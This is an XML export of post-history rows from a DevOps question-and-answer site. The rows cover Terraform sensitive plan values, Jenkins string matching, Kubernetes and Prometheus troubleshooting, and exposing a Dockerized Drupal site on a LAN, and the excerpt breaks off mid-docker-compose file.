  <row Id="43562" PostHistoryTypeId="2" PostId="13841" RevisionGUID="da138c28-124b-4b12-b8ac-5cac7f365aba" CreationDate="2021-05-06T19:01:39.563" UserId="27516" Text="In terms of embedding in an external page, you have some options out of the box with both Kibana (docs [here](https://www.elastic.co/guide/en/kibana/current/embedding.html)) and Grafana (docs [here](https://grafana.com/docs/grafana/latest/sharing/share-panel/)).&#xD;&#xA;&#xD;&#xA;If I understand correctly, you are trying to generate realistic clickable thumbnails - in that case, you should try Grafana first since it better supports [server-side image rendering](https://grafana.com/docs/grafana/latest/administration/image_rendering/)" ContentLicense="CC BY-SA 4.0" />
  <row Id="43563" PostHistoryTypeId="4" PostId="13836" RevisionGUID="5b0befc6-6cc6-43fb-a2a3-269bef0560e8" CreationDate="2021-05-06T20:14:30.617" UserId="707" Comment="edited title" Text="Continuous deployment strategies vs DevSecOps" ContentLicense="CC BY-SA 4.0" />
  <row Id="43564" PostHistoryTypeId="50" PostId="13678" RevisionGUID="d39ce1c4-51a9-4d63-a0e9-ce4169dd9cf8" CreationDate="2021-05-06T21:02:00.227" UserId="-1" />
  <row Id="43565" PostHistoryTypeId="2" PostId="13842" RevisionGUID="c53cfefa-37b3-4732-94b5-1cefd712d82f" CreationDate="2021-05-06T22:15:56.907" UserId="13289" Text="In a resource of type `aws_ecs_task_definition` my plan has an line that looks like this:&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;~ container_definitions    = (sensitive) # forces replacement&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;Now in principle this could be doing anything - deleting all my containers, spinning up bitcoin mining containers, etc.&#xD;&#xA;&#xD;&#xA;Is there any way I can look at the data, both the old and the new?" ContentLicense="CC BY-SA 4.0" />
  <row Id="43566" PostHistoryTypeId="1" PostId="13842" RevisionGUID="c53cfefa-37b3-4732-94b5-1cefd712d82f" CreationDate="2021-05-06T22:15:56.907" UserId="13289" Text="Terraform: how do you inspect sensitive data?" ContentLicense="CC BY-SA 4.0" />
  <row Id="43567" PostHistoryTypeId="3" PostId="13842" RevisionGUID="c53cfefa-37b3-4732-94b5-1cefd712d82f" CreationDate="2021-05-06T22:15:56.907" UserId="13289" Text="&lt;terraform&gt;&lt;security&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="43570" PostHistoryTypeId="2" PostId="13844" RevisionGUID="b9a58797-5e10-4bfa-9702-015979481720" CreationDate="2021-05-07T05:38:51.447" UserId="4328" Text="# Preston Martin&#xD;&#xA;&#xD;&#xA;I've been a contributor to DevOps SE since it's very early days, contributing to many DevOps topics/tags including Docker, AWS, CI/CD, etc. I have consistently been in the top 20 users on the site for the past few years. &#xD;&#xA;&#xD;&#xA;I have worked in the DevOps industry for over 7 years accumulating multiple AWS and CI/CD tooling certifications, written blog posts, and contributed to widely used CI/CD OSS. Currently, I am working as a DevOps Engineer at GitHub implementing CI/CD workflows at some of the largest companies in the world. &#xD;&#xA;&#xD;&#xA;My primary goal is to keep the quality of incoming questions to DevOps SE as high as possible. Questions that have a definitive answer, or that create constructive discussions that draw to an acceptable conclusion are key factors to this. In particular, questions about DevOps (and tooling) best practices and methodologies are where I see the most potential for attracting users, and I would like to continue to encourage the frequency of those types of questions. I hope to gain insight and collaborate with other prominent DevOps SE users to work on creative ways to building this site into something even greater than it already is!" ContentLicense="CC BY-SA 4.0" />
  <row Id="43571" PostHistoryTypeId="2" PostId="13845" RevisionGUID="43f504c3-daed-4ea8-a9ca-7da991d058fa" CreationDate="2021-05-07T12:55:33.997" UserId="27524" Text="PD has a lot of native integrations that can do auto-resolve but for those that don't you can use the API and/or rulesets to do that.  &#xD;&#xA;&#xD;&#xA;Here is a link to the ruleset documentation: https://support.pagerduty.com/docs/rulesets&#xD;&#xA;&#xD;&#xA;And here is documentation on the incident resolution API:&#xD;&#xA;https://developer.pagerduty.com/api-reference/reference/REST/openapiv3.json/paths/~1incidents~1%7Bid%7D/put&#xD;&#xA;&#xD;&#xA;In the API call you would pass the following json body to resolve it:&#xD;&#xA;{&#xD;&#xA;    &quot;incident&quot;: {&#xD;&#xA;        &quot;type&quot;: &quot;incident_reference&quot;,&#xD;&#xA;        &quot;status&quot;: &quot;resolved&quot;&#xD;&#xA;    }&#xD;&#xA;}&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="43572" PostHistoryTypeId="5" PostId="13765" RevisionGUID="865148b2-ef9e-42ac-a93b-a5aa02c6d372" CreationDate="2021-05-07T18:46:10.600" UserId="9148" Comment="Corrected title after resolving issue" Text="***UPDATE:*** I've updated the title for the final time in order for others who may encounter a similar issues to easily find this questions and answer.&#xD;&#xA;&#xD;&#xA;***UPDATE:*** I've update the question title after discovering the issue only occurs when the `branch` string contains a forward-slash, e.g, `feature/something`. Additionally, someone asked if I've verified the type of each, and yes I have. Both `shortBrancg.getClass()` and `branch.getClass()` return type `java.lang.String`. &#xD;&#xA;&#xD;&#xA;I have a config file that's in YAML format, which includes this relevant portion:&#xD;&#xA;&#xD;&#xA;    project:&#xD;&#xA;      protectedBranches:&#xD;&#xA;        - master&#xD;&#xA;        - develop&#xD;&#xA;        - feature/something&#xD;&#xA;&#xD;&#xA;In my Jenkinsfile, the YAML file is loaded via: `config = readYaml('config.yml')`.&#xD;&#xA;&#xD;&#xA;I also have `env.GIT_BRANCH = env.gitlabSourceBranch` which results in `env.GIT_BRANCH` containing the value `origin/feature/something`&#xD;&#xA;&#xD;&#xA;The `config.project.protectedBranches` is of type `ArrayList()`&#xD;&#xA;&#xD;&#xA;I am attempting to do something based on whether `env.GIT_BRANCH` exists in the `config.project.protectedBranches`, but none of the following have worked.&#xD;&#xA;&#xD;&#xA;    def shortBranch = env.GIT_BRANCH&#xD;&#xA;    shortBranch = shortBranch.minus(&quot;origin/&quot;)&#xD;&#xA;    // shortBranch now has a value of feature/something&#xD;&#xA;&#xD;&#xA;    if(shortBranch in config.project.protectedBranches) // returns false&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;Also...&#xD;&#xA;&#xD;&#xA;    config.project.protectedBranches.each{ branch -&gt;&#xD;&#xA;        echo &quot;Does branch match shortBranch? ${branch.equals(shortBranch)}&quot; // returns false&#xD;&#xA;        echo &quot;Does branch match shortBranch? ${branch == shortBranch}&quot; // also returns false&#xD;&#xA;    }&#xD;&#xA;&#xD;&#xA;Both `branch` and `shortBranch` are of type `String`. Why on Earth can I not compare these strings?&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="43573" PostHistoryTypeId="4" PostId="13765" RevisionGUID="865148b2-ef9e-42ac-a93b-a5aa02c6d372" CreationDate="2021-05-07T18:46:10.600" UserId="9148" Comment="Corrected title after resolving issue" Text="Jenkins Unable to Match Two Identical Strings" ContentLicense="CC BY-SA 4.0" />
  <row Id="43574" PostHistoryTypeId="2" PostId="13846" RevisionGUID="b651c2fa-ed8f-46f4-a1c8-265d6360b9d7" CreationDate="2021-05-08T00:45:13.203" UserId="2463" Text="When your configuration or a provider marks an attribute as sensitive, Terraform will always hide that value in any output that's intended for human consumption.&#xD;&#xA;&#xD;&#xA;The real values are available in machine-readable output though. This is primarily with the aim of integrating with external software, but if you need to then you can also inspect the machine-readable output directly yourself.&#xD;&#xA;&#xD;&#xA;You can get a machine-readable (JSON) rendering of a plan like this:&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;terraform plan -out=tfplan&#xD;&#xA;terraform show -json tfplan&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;If you intend to read it directly in the terminal then it can help to pipe it into [`jq`](https://stedolan.github.io/jq/), if you have that utility installed:&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;terraform show -json tfplan | jq&#xD;&#xA;```&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="43580" PostHistoryTypeId="2" PostId="13848" RevisionGUID="f30ebf64-bf1e-4209-b8cb-6d6f0d23138d" CreationDate="2021-05-08T18:29:53.980" UserId="27540" Text="I have three quistions . &#xD;&#xA;&#xD;&#xA;I've seen a lot of videos about creating and configuring raspberry pi kubernetes cluster&#xD;&#xA;&#xD;&#xA;but all of them was only using terminal to run console apps &#xD;&#xA;&#xD;&#xA;i'm not specialist .&#xD;&#xA;So is it not recommended to install distros with integrated desktop environment in kubernetes cluster?&#xD;&#xA;&#xD;&#xA;if answer is no&#xD;&#xA;How to run apps that need GUI like virtual machined ?&#xD;&#xA;&#xD;&#xA;can I install &amp; run KVM virtual machines in a specific raspberry pi  working node ? " ContentLicense="CC BY-SA 4.0" />
  <row Id="43581" PostHistoryTypeId="1" PostId="13848" RevisionGUID="f30ebf64-bf1e-4209-b8cb-6d6f0d23138d" CreationDate="2021-05-08T18:29:53.980" UserId="27540" Text="Running KVM virtual machines in specific working node in raspberry pi kubernetes cluster" ContentLicense="CC BY-SA 4.0" />
  <row Id="43582" PostHistoryTypeId="3" PostId="13848" RevisionGUID="f30ebf64-bf1e-4209-b8cb-6d6f0d23138d" CreationDate="2021-05-08T18:29:53.980" UserId="27540" Text="&lt;kubernetes&gt;&lt;linux&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="43583" PostHistoryTypeId="2" PostId="13849" RevisionGUID="2d2b005d-2074-4f95-b8fc-ed44648383fd" CreationDate="2021-05-08T18:47:40.577" UserId="27543" Text="Can I access the pod using its ip address from a different node (not the one the pod is running)? I'm not talking about using `Service` resources, but using the pod ip (`Pod.status.podIP`)." ContentLicense="CC BY-SA 4.0" />
  <row Id="43584" PostHistoryTypeId="1" PostId="13849" RevisionGUID="2d2b005d-2074-4f95-b8fc-ed44648383fd" CreationDate="2021-05-08T18:47:40.577" UserId="27543" Text="Use pod's IP from a different node than the pod is running" ContentLicense="CC BY-SA 4.0" />
  <row Id="43585" PostHistoryTypeId="3" PostId="13849" RevisionGUID="2d2b005d-2074-4f95-b8fc-ed44648383fd" CreationDate="2021-05-08T18:47:40.577" UserId="27543" Text="&lt;kubernetes&gt;&lt;networking&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="43586" PostHistoryTypeId="2" PostId="13850" RevisionGUID="34de05d2-9e98-4937-a6eb-89d40c8103f9" CreationDate="2021-05-08T21:54:02.993" UserId="26309" Text="I have simple workflow. Create a cluster, install ingress with helm and once it's ready, get load balancer's IP address to update CF dns records. It's all in one script.&#xD;&#xA;&#xD;&#xA;After creating nginx-ingress controller, I was trying to get IP address of load balancer.&#xD;&#xA;&#xD;&#xA;    resource &quot;helm_release&quot; &quot;nginx_ingress&quot; {&#xD;&#xA;      name       = &quot;ingress-nginx&quot;&#xD;&#xA;      ...&#xD;&#xA;    }&#xD;&#xA;&#xD;&#xA;    data &quot;kubernetes_service&quot; &quot;this&quot; {&#xD;&#xA;      metadata {&#xD;&#xA;        name = &quot;ingress-nginx-controller&quot;&#xD;&#xA;        namespace = &quot;ingress-nginx&quot;&#xD;&#xA;      }&#xD;&#xA;      depends_on = [ helm_release.nginx_ingress ]&#xD;&#xA;    }&#xD;&#xA;&#xD;&#xA;This never worked for me and the reason was that it was trying to connect to localhost.&#xD;&#xA;Then I found this limitation.&#xD;&#xA;&#xD;&#xA;&gt; WARNING When using interpolation to pass credentials to the Kubernetes&#xD;&#xA;&gt; provider from other resources, these resources SHOULD NOT be created&#xD;&#xA;&gt; in the same Terraform module where Kubernetes provider resources are&#xD;&#xA;&gt; also used. This will lead to intermittent and unpredictable errors&#xD;&#xA;&gt; which are hard to debug and diagnose. The root issue lies with the&#xD;&#xA;&gt; order in which Terraform itself evaluates the provider blocks vs.&#xD;&#xA;&gt; actual resources. Please refer to this section of Terraform docs for&#xD;&#xA;&gt; further explanation.&#xD;&#xA;&#xD;&#xA;and moved `kubernetes` provider to another module.&#xD;&#xA;However, I have now a new problem. &#xD;&#xA;&#xD;&#xA;    module &quot;cluster&quot; {&#xD;&#xA;      source = &quot;./modules/cluster&quot;&#xD;&#xA;      &#xD;&#xA;      cluster_node_count = var.cluster_node_count&#xD;&#xA;      age_path = var.age_path&#xD;&#xA;    }&#xD;&#xA;    &#xD;&#xA;    &#xD;&#xA;    module &quot;network&quot; {&#xD;&#xA;      source = &quot;./modules/network&quot;&#xD;&#xA;      &#xD;&#xA;      host = module.cluster.host&#xD;&#xA;      token = module.cluster.token&#xD;&#xA;      cluster_ca_certificate = module.cluster.cert&#xD;&#xA;      cloudflare_email = var.cloudflare_email&#xD;&#xA;      cloudflare_api_key = var.cloudflare_api_key&#xD;&#xA;      main_domain = var.main_domain&#xD;&#xA;      cluster_subdomains = var.cluster_subdomains&#xD;&#xA;    &#xD;&#xA;      depends_on = [module.cluster]&#xD;&#xA;    }&#xD;&#xA;&#xD;&#xA;This also doesn't work and giving &#xD;&#xA;&#xD;&#xA;&gt; Providers cannot be configured within modules using count, for_each or depends_on.&#xD;&#xA;&#xD;&#xA;Without `depends_on` the `network` module is called at the same time as cluster, which of course leads to fail, since for the network module cluster should be ready.&#xD;&#xA;&#xD;&#xA;So it's kind of dead-loop which I am not sure how to break." ContentLicense="CC BY-SA 4.0" />
  <row Id="43587" PostHistoryTypeId="1" PostId="13850" RevisionGUID="34de05d2-9e98-4937-a6eb-89d40c8103f9" CreationDate="2021-05-08T21:54:02.993" UserId="26309" Text="How to use kubernetes_service?" ContentLicense="CC BY-SA 4.0" />
  <row Id="43588" PostHistoryTypeId="3" PostId="13850" RevisionGUID="34de05d2-9e98-4937-a6eb-89d40c8103f9" CreationDate="2021-05-08T21:54:02.993" UserId="26309" Text="&lt;terraform&gt;&lt;terraform-module&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="43591" PostHistoryTypeId="2" PostId="13851" RevisionGUID="a5ae2979-f406-440a-b088-28b16ad67261" CreationDate="2021-05-09T06:49:05.433" UserId="24609" Text="I know this question was asked a long time ago but I still want to answer it.&#xD;&#xA;&#xD;&#xA;How products are build, versioned and delivered depend highly on the combination of the used tools, the infrastructure and the processes that have been established in your company. &#xD;&#xA;This also means there is no general way to it. However there are of course best practices like continuous integration/continuous delivery, nightly builds, common branching patterns etc.&#xD;&#xA;&#xD;&#xA;In your case I would start with common branching patterns for the used version control system (svn, git, etc.) and think about how to support versioned artifacts . &#xD;&#xA;Next step is the get the build management tool (Maven, Gradle, Make, Cmake, etc.) to build the specified version . &#xD;&#xA;&#xD;&#xA;If these two parts are working you can think about how to automate it with jenkins.&#xD;&#xA;&#xD;&#xA;One last thing: Your question was very general. I guess if you ask more specific questions like &quot;How do I combine maven and git for building versioned artifacts&quot; you get more answers." ContentLicense="CC BY-SA 4.0" />
  <row Id="43592" PostHistoryTypeId="2" PostId="13852" RevisionGUID="4f45c3e3-4681-49a5-b2fc-7d29460589f8" CreationDate="2021-05-09T10:47:06.513" UserId="24251" Text="If you are using the docker-compose file from that github repo it's using traefik and should correctly expose port 8000, that should default to 0.0.0.0:8000.&#xD;&#xA;Maybe Ubuntu firewall is blocking incoming TCP port 8000. That could explain why it works on drupal.localhost:8000 which most likely resolves to 127.0.0.1 but not from 192.* LAN.&#xD;&#xA;&#xD;&#xA;Check Ubuntu firewall: &#xD;&#xA;&#xD;&#xA;```$ sudo ufw status```&#xD;&#xA;&#xD;&#xA;Make sure incoming TCP 8000 is allowed from anywhere, or at least for your LAN ip range.&#xD;&#xA;If not, you can open it with: &#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;$ sudo ufw allow from any to any port 8000 proto tcp&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="43596" PostHistoryTypeId="2" PostId="13854" RevisionGUID="7344bff1-c924-4379-bada-9721a2b07e2d" CreationDate="2021-05-09T18:46:40.420" UserId="27559" Text="printenv | grep TF_VAR will list all variables you defined." ContentLicense="CC BY-SA 4.0" />
  <row Id="43599" PostHistoryTypeId="2" PostId="13856" RevisionGUID="11b0f9ef-d1f3-4562-899c-3d35ad8a8301" CreationDate="2021-05-09T21:30:03.103" UserId="27561" Text="Using helm chart :&#xD;&#xA;&#xD;&#xA;    helm install monitor prometheus-community/prometheus -n monitoring -f ./values.yaml&#xD;&#xA;&#xD;&#xA;I cannot get prometheus server to running.&#xD;&#xA;&#xD;&#xA;    # kubectl get pods -owide -n monitoring&#xD;&#xA;    NAME                                              READY   STATUS             RESTARTS   AGE   IP               NODE              NOMINATED NODE   READINESS GATES&#xD;&#xA;    monitor-kube-state-metrics-578cdbb5b7-ffnbc       0/1     Running            0          19s   192.168.23.10    kube-worker-vm3   &lt;none&gt;           &lt;none&gt;&#xD;&#xA;    monitor-prometheus-alertmanager-c94f7b6b7-znfp5   1/2     Running            0          19s   192.168.222.53   kube-worker-vm2   &lt;none&gt;           &lt;none&gt;&#xD;&#xA;    monitor-prometheus-node-exporter-5vksg            1/1     Running            0          20s   192.168.1.36     kube-worker-vm2   &lt;none&gt;           &lt;none&gt;&#xD;&#xA;    monitor-prometheus-pushgateway-8694884546-qgqd2   0/1     Running            0          19s   192.168.222.54   kube-worker-vm2   &lt;none&gt;           &lt;none&gt;&#xD;&#xA;    monitor-prometheus-server-5587c7f464-z9tcj        1/2     CrashLoopBackOff   1          19s   192.168.222.55   kube-worker-vm2   &lt;none&gt;           &lt;none&gt;&#xD;&#xA;&#xD;&#xA;Even though I had 1 replicaSet out of 2 running or crashloopbakcoff.&#xD;&#xA;&#xD;&#xA;    # kubectl describe pod monitor-prometheus-server-5587c7f464-z9tcj -n monitoring&#xD;&#xA;    Name:         monitor-prometheus-server-5587c7f464-z9tcj&#xD;&#xA;    Namespace:    monitoring&#xD;&#xA;    Priority:     0&#xD;&#xA;    Node:         kube-worker-vm2/192.168.1.36&#xD;&#xA;    Start Time:   Sun, 09 May 2021 22:14:12 +0100&#xD;&#xA;    Labels:       app=prometheus&#xD;&#xA;                  chart=prometheus-13.8.0&#xD;&#xA;                  component=server&#xD;&#xA;                  heritage=Helm&#xD;&#xA;                  pod-template-hash=5587c7f464&#xD;&#xA;                  release=monitor&#xD;&#xA;    Annotations:  cni.projectcalico.org/podIP: 192.168.222.55/32&#xD;&#xA;                  cni.projectcalico.org/podIPs: 192.168.222.55/32&#xD;&#xA;    Status:       Running&#xD;&#xA;    IP:           192.168.222.55&#xD;&#xA;    IPs:&#xD;&#xA;      IP:           192.168.222.55&#xD;&#xA;    Controlled By:  ReplicaSet/monitor-prometheus-server-5587c7f464&#xD;&#xA;    Containers:&#xD;&#xA;      prometheus-server-configmap-reload:&#xD;&#xA;        Container ID:  docker://d4fdd420ec67f42857a4f20dd56de146307c65c49cd8ffccf6153f0b54082e91&#xD;&#xA;        Image:         jimmidyson/configmap-reload:v0.4.0&#xD;&#xA;        Image ID:      docker-pullable://jimmidyson/configmap-reload@sha256:17d34fd73f9e8a78ba7da269d96822ce8972391c2838e08d92a990136adb8e4a&#xD;&#xA;        Port:          &lt;none&gt;&#xD;&#xA;        Host Port:     &lt;none&gt;&#xD;&#xA;        Args:&#xD;&#xA;          --volume-dir=/etc/config&#xD;&#xA;          --webhook-url=http://127.0.0.1:9090/-/reload&#xD;&#xA;        State:          Running&#xD;&#xA;          Started:      Sun, 09 May 2021 22:14:19 +0100&#xD;&#xA;        Ready:          True&#xD;&#xA;        Restart Count:  0&#xD;&#xA;        Environment:    &lt;none&gt;&#xD;&#xA;        Mounts:&#xD;&#xA;          /etc/config from config-volume (ro)&#xD;&#xA;          /var/run/secrets/kubernetes.io/serviceaccount from monitor-prometheus-server-token-njbp9 (ro)&#xD;&#xA;      prometheus-server:&#xD;&#xA;        Container ID:  docker://b53d3a56e2985594046a3b0018e9828597678268119c2dd7b07b1c7b315246e3&#xD;&#xA;        Image:         prom/prometheus:v2.20.1&#xD;&#xA;        Image ID:      docker-pullable://prom/prometheus@sha256:788260ebd13613456c168d2eed8290f119f2b6301af2507ff65908d979c66c17&#xD;&#xA;        Port:          9090/TCP&#xD;&#xA;        Host Port:     0/TCP&#xD;&#xA;        Args:&#xD;&#xA;          --storage.tsdb.retention.time=15d&#xD;&#xA;          --config.file=/etc/config/prometheus.yml&#xD;&#xA;          --storage.tsdb.path=/data&#xD;&#xA;          --web.console.libraries=/etc/prometheus/console_libraries&#xD;&#xA;          --web.console.templates=/etc/prometheus/consoles&#xD;&#xA;          --web.enable-lifecycle&#xD;&#xA;        State:          Waiting&#xD;&#xA;          Reason:       CrashLoopBackOff&#xD;&#xA;        Last State:     Terminated&#xD;&#xA;          Reason:       Error&#xD;&#xA;          Exit Code:    2&#xD;&#xA;          Started:      Sun, 09 May 2021 22:20:24 +0100&#xD;&#xA;          Finished:     Sun, 09 May 2021 22:20:24 +0100&#xD;&#xA;        Ready:          False&#xD;&#xA;        Restart Count:  6&#xD;&#xA;        Liveness:       http-get http://:9090/-/healthy delay=30s timeout=30s period=15s #success=1 #failure=3&#xD;&#xA;        Readiness:      http-get http://:9090/-/ready delay=30s timeout=30s period=5s #success=1 #failure=3&#xD;&#xA;        Environment:    &lt;none&gt;&#xD;&#xA;        Mounts:&#xD;&#xA;          /data from storage-volume (rw)&#xD;&#xA;          /etc/config from config-volume (rw)&#xD;&#xA;          /var/run/secrets/kubernetes.io/serviceaccount from monitor-prometheus-server-token-njbp9 (ro)&#xD;&#xA;    Conditions:&#xD;&#xA;      Type              Status&#xD;&#xA;      Initialized       True &#xD;&#xA;      Ready             False &#xD;&#xA;      ContainersReady   False &#xD;&#xA;      PodScheduled      True &#xD;&#xA;    Volumes:&#xD;&#xA;      config-volume:&#xD;&#xA;        Type:      ConfigMap (a volume populated by a ConfigMap)&#xD;&#xA;        Name:      monitor-prometheus-server&#xD;&#xA;        Optional:  false&#xD;&#xA;      storage-volume:&#xD;&#xA;        Type:       PersistentVolumeClaim (a reference to a PersistentVolumeClaim in the same namespace)&#xD;&#xA;        ClaimName:  prometheus-pv-claim&#xD;&#xA;        ReadOnly:   false&#xD;&#xA;      monitor-prometheus-server-token-njbp9:&#xD;&#xA;        Type:        Secret (a volume populated by a Secret)&#xD;&#xA;        SecretName:  monitor-prometheus-server-token-njbp9&#xD;&#xA;        Optional:    false&#xD;&#xA;    QoS Class:       BestEffort&#xD;&#xA;    Node-Selectors:  boardType=x86vm&#xD;&#xA;    Tolerations:     node.kubernetes.io/not-ready:NoExecute op=Exists for 300s&#xD;&#xA;                     node.kubernetes.io/unreachable:NoExecute op=Exists for 300s&#xD;&#xA;    Events:&#xD;&#xA;      Type     Reason       Age                     From               Message&#xD;&#xA;      ----     ------       ----                    ----               -------&#xD;&#xA;      Normal   Scheduled    9m19s                   default-scheduler  Successfully assigned monitoring/monitor-prometheus-server-5587c7f464-z9tcj to kube-worker-vm2&#xD;&#xA;      Warning  FailedMount  9m18s                   kubelet            MountVolume.SetUp failed for volume &quot;config-volume&quot; : failed to sync configmap cache: timed out waiting for the condition&#xD;&#xA;      Normal   Pulled       9m13s                   kubelet            Container image &quot;jimmidyson/configmap-reload:v0.4.0&quot; already present on machine&#xD;&#xA;      Normal   Created      9m13s                   kubelet            Created container prometheus-server-configmap-reload&#xD;&#xA;      Normal   Started      9m12s                   kubelet            Started container prometheus-server-configmap-reload&#xD;&#xA;      Normal   Pulled       8m24s (x4 over 9m12s)   kubelet            Container image &quot;prom/prometheus:v2.20.1&quot; already present on machine&#xD;&#xA;      Normal   Created      8m23s (x4 over 9m12s)   kubelet            Created container prometheus-server&#xD;&#xA;      Normal   Started      8m22s (x4 over 9m12s)   kubelet            Started container prometheus-server&#xD;&#xA;      Warning  BackOff      4m16s (x32 over 9m10s)  kubelet            Back-off restarting failed container" ContentLicense="CC BY-SA 4.0" />
  <row Id="43600" PostHistoryTypeId="1" PostId="13856" RevisionGUID="11b0f9ef-d1f3-4562-899c-3d35ad8a8301" CreationDate="2021-05-09T21:30:03.103" UserId="27561" Text="when replicaset is 1 then what are 1/2 pods for prometheus server?" ContentLicense="CC BY-SA 4.0" />
  <row Id="43601" PostHistoryTypeId="3" PostId="13856" RevisionGUID="11b0f9ef-d1f3-4562-899c-3d35ad8a8301" CreationDate="2021-05-09T21:30:03.103" UserId="27561" Text="&lt;kubernetes&gt;&lt;kubernetes-helm&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="43602" PostHistoryTypeId="2" PostId="13857" RevisionGUID="319a12fe-5137-401f-b41f-a9af26d5f857" CreationDate="2021-05-09T22:17:44.943" UserId="6162" Text="&gt;`monitor-prometheus-server-5587c7f464-z9tcj        1/2     CrashLoopBackOff`&#xD;&#xA;&#xD;&#xA;`1/2` here means that 1 of 2 **containers** in the Pod is &quot;Ready&quot;&#xD;&#xA;&#xD;&#xA;When you describe the Pod, you see the status of the containers:&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;Containers:&#xD;&#xA;  prometheus-server-configmap-reload:&#xD;&#xA;    Ready:          True&#xD;&#xA;...&#xD;&#xA;  prometheus-server:&#xD;&#xA;    Ready:          False&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;You probably need to check the logs for the crashing container to see the reason." ContentLicense="CC BY-SA 4.0" />
  <row Id="43603" PostHistoryTypeId="50" PostId="13672" RevisionGUID="bcac7ff7-77ee-4695-b4c3-268037531ae8" CreationDate="2021-05-10T02:07:05.620" UserId="-1" />
  <row Id="43608" PostHistoryTypeId="5" PostId="13854" RevisionGUID="0ae25c44-f3dc-4c77-88d1-8118a5847b4a" CreationDate="2021-05-10T04:56:33.580" UserId="13139" Comment="Improve formatting" Text="`printenv | grep TF_VAR` will list all variables that you defined." ContentLicense="CC BY-SA 4.0" />
  <row Id="43609" PostHistoryTypeId="24" PostId="13854" RevisionGUID="0ae25c44-f3dc-4c77-88d1-8118a5847b4a" CreationDate="2021-05-10T04:56:33.580" Comment="Proposed by 13139 approved by 40 edit id of 1386" ContentLicense="CC BY-SA 4.0" />
  <row Id="43610" PostHistoryTypeId="2" PostId="13858" RevisionGUID="6d12dae7-165b-4b12-9c1f-8f292b8630e8" CreationDate="2021-05-10T07:02:51.103" UserId="17276" Text="I havn't used AWS's SNS notificatios before and my use case for them reqieres being able to specify a branch to send my self notificateons for mearges to that branch only.&#xD;&#xA;Can this be done?" ContentLicense="CC BY-SA 4.0" />
  <row Id="43611" PostHistoryTypeId="1" PostId="13858" RevisionGUID="6d12dae7-165b-4b12-9c1f-8f292b8630e8" CreationDate="2021-05-10T07:02:51.103" UserId="17276" Text="Can you set aws SNS notifications to only be sent when merges are made into to a specific code commit branch?" ContentLicense="CC BY-SA 4.0" />
  <row Id="43612" PostHistoryTypeId="3" PostId="13858" RevisionGUID="6d12dae7-165b-4b12-9c1f-8f292b8630e8" CreationDate="2021-05-10T07:02:51.103" UserId="17276" Text="&lt;amazon-web-services&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="43613" PostHistoryTypeId="5" PostId="13826" RevisionGUID="5e2d5ece-9293-4918-a42c-2864e6278f1d" CreationDate="2021-05-10T07:19:36.020" UserId="27485" Comment="added 2291 characters in body" Text="Here is my setup:&#xD;&#xA;&#xD;&#xA;I have a Ubuntu 20.04.2 LTS machine running in VMware (vSphere client).&#xD;&#xA;&#xD;&#xA;On this machine, I have a local Drupal website running in Docker using Wodby Docker4Drupal https://github.com/wodby/docker4drupal&#xD;&#xA;&#xD;&#xA;The website can be accessed on the Ubuntu machine on http://drupal.localhost:8000.&#xD;&#xA;&#xD;&#xA;The Ubuntu machine has an IP of **192.168.10.100** which I can ping from my local Windows machine which is on the same LAN (Windows computer IP address is 192.168.10.97).&#xD;&#xA;&#xD;&#xA;Is there any way that I could access the Drupal website directly from the browser on a computer that is on the same LAN (ie. my Windows machine)?&#xD;&#xA;&#xD;&#xA;I have tried to access http://192.168.10.100:8000 but I get a 404. Any idea? My guess is that I somehow need to *proxy* the traffic to the Docker environment but I have no idea how to achieve that.&#xD;&#xA;&#xD;&#xA;----&#xD;&#xA;&#xD;&#xA;Here is the `docker-compose.yml` I am using.&#xD;&#xA;&#xD;&#xA;    version: &quot;3.7&quot;&#xD;&#xA;&#xD;&#xA;    services:&#xD;&#xA;      mariadb:&#xD;&#xA;        image: wodby/mariadb:$MARIADB_TAG&#xD;&#xA;        container_name: &quot;${PROJECT_NAME}_mariadb&quot;&#xD;&#xA;        stop_grace_period: 30s&#xD;&#xA;        environment:&#xD;&#xA;          MYSQL_ROOT_PASSWORD: $DB_ROOT_PASSWORD&#xD;&#xA;          MYSQL_DATABASE: $DB_NAME&#xD;&#xA;          MYSQL_USER: $DB_USER&#xD;&#xA;          MYSQL_PASSWORD: $DB_PASSWORD&#xD;&#xA;        volumes:&#xD;&#xA;          - d4d-db-data:/var/lib/mysql # Use bind mount&#xD;&#xA;&#xD;&#xA;      php:&#xD;&#xA;        image: wodby/drupal-php:$PHP_TAG&#xD;&#xA;        container_name: &quot;${PROJECT_NAME}_php&quot;&#xD;&#xA;        environment:&#xD;&#xA;          PHP_SENDMAIL_PATH: /usr/sbin/sendmail -t -i -S mailhog:1025&#xD;&#xA;        volumes:&#xD;&#xA;        - ./web:/var/www/html:cached&#xD;&#xA;&#xD;&#xA;      crond:&#xD;&#xA;        image: wodby/drupal-php:$PHP_TAG&#xD;&#xA;        container_name: &quot;${PROJECT_NAME}_crond&quot;&#xD;&#xA;        environment:&#xD;&#xA;          CRONTAB: &quot;0 * * * * drush -r /var/www/html/web cron&quot;&#xD;&#xA;        command: sudo -E LD_PRELOAD=/usr/lib/preloadable_libiconv.so crond -f -d 0&#xD;&#xA;        volumes:&#xD;&#xA;        - ./web:/var/www/html:cached&#xD;&#xA;&#xD;&#xA;      nginx:&#xD;&#xA;        image: wodby/nginx:$NGINX_TAG&#xD;&#xA;        container_name: &quot;${PROJECT_NAME}_nginx&quot;&#xD;&#xA;        depends_on:&#xD;&#xA;        - php&#xD;&#xA;        environment:&#xD;&#xA;          NGINX_STATIC_OPEN_FILE_CACHE: 